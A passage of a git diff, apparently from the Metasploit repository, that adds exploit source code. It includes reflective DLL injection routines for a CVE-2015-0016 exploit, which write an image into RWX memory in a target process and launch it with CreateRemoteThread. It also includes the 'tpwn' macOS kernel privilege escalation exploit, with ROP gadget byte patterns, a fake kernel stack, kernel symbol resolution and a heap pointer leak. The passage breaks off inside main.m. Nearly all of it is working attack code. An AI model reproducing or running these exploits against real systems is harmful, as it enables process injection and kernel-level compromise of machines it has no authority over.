); + + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // return the File Offset to the ReflectiveLoader() functions code... + return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); + } + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + + return 0; +} +//===============================================================================================// +// Loads a DLL image from memory via its exported ReflectiveLoader function +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) +{ + HMODULE hResult = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwOldProtect1 = 0; + DWORD dwOldProtect2 = 0; + REFLECTIVELOADER pReflectiveLoader = NULL; + DLLMAIN pDllMain = NULL; + + if( lpBuffer == NULL || dwLength == 0 ) + return NULL; + + __try + { + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( dwReflectiveLoaderOffset != 0 ) + { + pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); + + // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... + // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region + if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) + { + // call the librarys ReflectiveLoader... + pDllMain = (DLLMAIN)pReflectiveLoader(); + if( pDllMain != NULL ) + { + // call the loaded librarys DllMain to get its HMODULE + if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) + hResult = NULL; + } + // revert to the previous protection flags... + VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hResult = NULL; + } + + return hResult; +} +//===============================================================================================// +// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function +// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +// defined in order to use the correct RDI prototypes. +// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | +// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ +// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. +// Note: This function currently cant inject accross architectures, but only to architectures which are the +// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) +{ + BOOL bSuccess = FALSE; + LPVOID lpRemoteLibraryBuffer = NULL; + LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; + HANDLE hThread = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwThreadId = 0; + + __try + { + do + { + if( !hProcess || !lpBuffer || !dwLength ) + break; + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( !dwReflectiveLoaderOffset ) + break; + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + break; + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) + break; + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); + + // create a remote thread in the host process to call the ReflectiveLoader! + hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); + + } while( 0 ); + + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hThread = NULL; + } + + return hThread; +} +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.h b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.h new file mode 100755 index 0000000000..d8419858a9 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.h @@ -0,0 +1,41 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); + +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); + +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/inject/src/ReflectiveDLLInjection.h b/external/source/exploits/cve-2015-0016/inject/src/ReflectiveDLLInjection.h new file mode 100755 index 0000000000..8d7fda1106 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/ReflectiveDLLInjection.h @@ -0,0 +1,53 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_METASPLOIT_ATTACH 4 +#define DLL_METASPLOIT_DETACH 5 +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/rdi.sln b/external/source/exploits/cve-2015-0016/rdi.sln new file mode 100755 index 0000000000..48a6d7b81f --- /dev/null +++ b/external/source/exploits/cve-2015-0016/rdi.sln @@ -0,0 +1,44 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 2013 for Windows Desktop +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|ARM = Debug|ARM + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|ARM = Release|ARM + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Debug|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Debug|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/tpwn/Makefile b/external/source/exploits/tpwn/Makefile new file mode 100644 index 0000000000..dfecee38e4 --- /dev/null +++ b/external/source/exploits/tpwn/Makefile @@ -0,0 +1,3 @@ +all: + gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3 + strip tpwn diff --git a/external/source/exploits/tpwn/import.h b/external/source/exploits/tpwn/import.h new file mode 100644 index 0000000000..cf0a0354f4 --- /dev/null +++ b/external/source/exploits/tpwn/import.h @@ -0,0 +1,34 @@ +#ifndef pwn_import_h +#define pwn_import_h + + +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#include "lsym.h" +#include "lsym_gadgets.h" + +#endif diff --git a/external/source/exploits/tpwn/lsym.h b/external/source/exploits/tpwn/lsym.h new file mode 100644 index 0000000000..eaa1d417d9 --- /dev/null +++ b/external/source/exploits/tpwn/lsym.h @@ -0,0 +1,47 @@ +#ifndef __pwn__lsym__ +#define __pwn__lsym__ + +#include +#include "import.h" + +#define JUNK_VALUE 0x1337133713371337 + + +typedef struct kernel_fake_stack { + uint64_t __cnt; + uint64_t __padding[0x4999]; + uint64_t __rop_chain[0x5000]; +} kernel_fake_stack_t; + +#define LSYM_PAYLOAD_VTABLE 1 + +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); + +typedef struct lsym_map { + void* map; + const char* path; + size_t sz; +} lsym_map_t; + +typedef enum { + LSYM_DO_NOT_REBASE = (1 << 0) +} lsym_gadget_flags; + +typedef uint64_t lsym_map_pointer_t; +typedef uint64_t lsym_kern_pointer_t; +typedef uint64_t lsym_slidden_kern_pointer_t; +typedef uint64_t lsym_offset_t; + +lsym_kern_pointer_t kext_pointer(const char* identifier); +lsym_map_t *lsym_map_file(const char *path); +lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name); +lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags); +lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping); +lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer); +lsym_offset_t lsym_vm_addrperm(); + +typedef struct kernel_exploit_vector kernel_exploit_vector_t; + +#endif /* defined(__pwn__lsym__) */ diff --git a/external/source/exploits/tpwn/lsym.m b/external/source/exploits/tpwn/lsym.m new file mode 100644 index 0000000000..5ac22b512b --- /dev/null +++ b/external/source/exploits/tpwn/lsym.m @@ -0,0 +1,159 @@ +#include "lsym.h" +#import + +#include + +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); +extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); + + +extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); +#ifdef FIND_KERNEL_SLIDE +static lsym_offset_t kaslr_slide=0; +static char kaslr_slide_found =0; +#endif + +__attribute__((always_inline)) +lsym_kern_pointer_t kext_pointer(const char* identifier){ + return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@"OSBundleLoadAddress"])) unsignedLongLongValue]; +} + +__attribute__((always_inline)) +lsym_map_t *lsym_map_file(const char *path) { + int fd=open(path, O_RDONLY); +if(fd < 0) return 0; + struct stat sb; + fstat(fd, &sb); + if (sb.st_size < 0x1000) { + return 0; + } + void* map = mmap(NULL, sb.st_size & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0); + lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t)); + ret->map = map; + ret->path = path; + ret->sz = sb.st_size & 0xFFFFFFFF; + return ret; +} + +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) { + lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size); + if (!off) { + puts("[-] Couldn't find a ROP gadget, aborting."); + exit(1); + } + return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map)); +} + +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) { + struct mach_header_64 *mh = mapping->map; + struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT); + return (lsym_kern_pointer_t)text->vmaddr; +} +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) { + struct mach_header_64 *mh = mapping->map; + struct symtab_command *symtab = NULL; + struct segment_command_64 *linkedit = NULL; + /* + * Check header + */ + if (mh->magic != MH_MAGIC_64) { + return (lsym_kern_pointer_t)NULL; + } + + /* + * Find the LINKEDIT and SYMTAB sections + */ + linkedit = find_segment_64(mh, SEG_LINKEDIT); + if (!linkedit) { + return (lsym_kern_pointer_t)NULL; + } + + symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB); + if (!symtab) { + return (lsym_kern_pointer_t)NULL; + } + void* symtabp = symtab->stroff + 4 + (char*)mh; + void* symtabz = symtab->stroff + (char*)mh; + void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA; + uint32_t idx = 0; + while (symtabp < symendp) { + if(strcmp(symtabp, name) == 0) goto found; + symtabp += strlen((char*)symtabp) + 1; + idx++; + } + printf("[-] symbol %s not resolved.\n", name); exit(0); + return (lsym_kern_pointer_t)NULL; +found:; + struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh); + uint64_t strx = ((char*)symtabp - (char*)symtabz); + unsigned int symp = 0; + while(symp <= (symtab->nsyms)) { + uint32_t strix = *((uint32_t*)nlp); + if(strix == strx) + goto found1; + nlp ++; //sizeof(struct nlist_64); + symp++; + } + printf("[-] symbol not found: %s\n", name); + exit(-1); +found1: + //printf("[+] found symbol %s at 0x%016llx\n", name, nlp->n_value); + return (lsym_kern_pointer_t)nlp->n_value; + +} + +__attribute__((always_inline)) +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname) +{ + struct load_command *lc; + struct segment_command_64 *s, *fs = NULL; + lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); + while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { + if (lc->cmd == LC_SEGMENT_64) { + s = (struct segment_command_64 *)lc; + if (!strcmp(s->segname, segname)) { + fs = s; + break; + } + } + lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); + } + return fs; +} + +__attribute__((always_inline)) +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name) +{ + struct section_64 *sect, *fs = NULL; + uint32_t i = 0; + for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64)); + i < seg->nsects; + i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64))) + { + if (!strcmp(sect->sectname, name)) { + fs = sect; + break; + } + } + return fs; +} + +__attribute__((always_inline)) +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd) +{ + struct load_command *lc, *flc; + lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); + while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { + if (lc->cmd == cmd) { + flc = (struct load_command *)lc; + break; + } + lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); + } + return flc; +} diff --git a/external/source/exploits/tpwn/lsym_gadgets.h b/external/source/exploits/tpwn/lsym_gadgets.h new file mode 100644 index 0000000000..a6616e4ca5 --- /dev/null +++ b/external/source/exploits/tpwn/lsym_gadgets.h @@ -0,0 +1,69 @@ +#ifndef ROP_PIVOT_RAX +/* Short verion of lsym_slide_pointer(lsym_find_symbol()) */ + +#define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name)) + +/* ROP gadgets present in 10.10 */ + +// stack pivot +#define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0) +#define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0) +#define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0) +#define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0) + +#define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0) +#define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0) +#define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0) + +// advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts). +// how the fuck do these gadgets even exist lmao + +#define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0); +#define ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0); +#define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget. +#define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0); +#define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0) +#define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0) +#define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0) +#define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0) +#define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0) +#define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0) +#define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0) +#define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0) +#define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0) +#define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0) +#define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0) +#define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0) +// register control +#define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0) +#define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0) +#define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0) +#define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0) +#define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0) +#define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0) +#define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0) +#define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0) +#define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0) +#define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0) + +// write gadgets +#define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0) +#define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0) + +// read gadget +#define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0) + + +// simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents. + +#define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0); + +// helpers + +#define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++] +#define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value; +#define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value; +#define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value; +#define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value; +#define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE; +#endif diff --git a/external/source/exploits/tpwn/main.m b/external/source/exploits/tpwn/main.m new file mode 100644 index 0000000000..9400395f71 --- /dev/null +++ b/external/source/exploits/tpwn/main.m @@ -0,0 +1,286 @@ +#include +static uint64_t kslide=0; +#define ALLOCS 0x100 +#import "import.h" +#import "lsym_gadgets.h" +static mach_port_t servicea = 0; +static mach_port_t servicex = 0; +__attribute__((always_inline)) inline +lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) { + if (!pointer) return pointer; + return (lsym_slidden_kern_pointer_t) pointer + kslide; +} + +__attribute__((always_inline)) static inline +uint64_t alloc(uint32_t addr, uint32_t sz) { + vm_deallocate(mach_task_self(), (vm_address_t) addr, sz); + vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0); + while(sz--) *(char*)(addr+sz)=0; + return addr; +} +__attribute__((always_inline)) static inline +uint64_t leak_heap_ptr(io_connect_t* co) { + io_connect_t conn = MACH_PORT_NULL; + if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) { + puts("failed"); 